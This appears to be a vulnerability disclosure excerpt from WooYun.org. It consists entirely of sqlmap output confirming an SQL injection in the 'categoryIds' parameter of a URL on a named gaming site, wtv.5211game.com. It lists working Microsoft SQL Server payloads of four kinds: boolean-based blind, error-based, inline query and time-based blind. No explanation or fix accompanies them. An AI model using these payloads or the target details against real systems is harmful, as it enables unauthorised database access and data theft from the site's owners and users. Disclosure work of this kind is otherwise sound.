WooYun.org

http://wtv.5211game.com:80/Default/Service/NewService.ashx?op=NewsLisAll&categoryIds=11

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace
    Payload: op=NewsLisAll&categoryIds=(SELECT (CASE WHEN (1945=1945) THEN 1945 ELSE 1945*(SELECT 1945 FROM master..sysdatabases) END))
    Type: error-based
    Title: Microsoft SQL Server/Sybase error-based - Parameter replace
    Payload: op=NewsLisAll&categoryIds=(CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4163=4163) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113))))
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: op=NewsLisAll&categoryIds=(SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9764=9764) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113))
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)
    Payload: op=NewsLisAll&categoryIds=(SELECT (CASE WHEN (5088=5088) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 5088 END))
---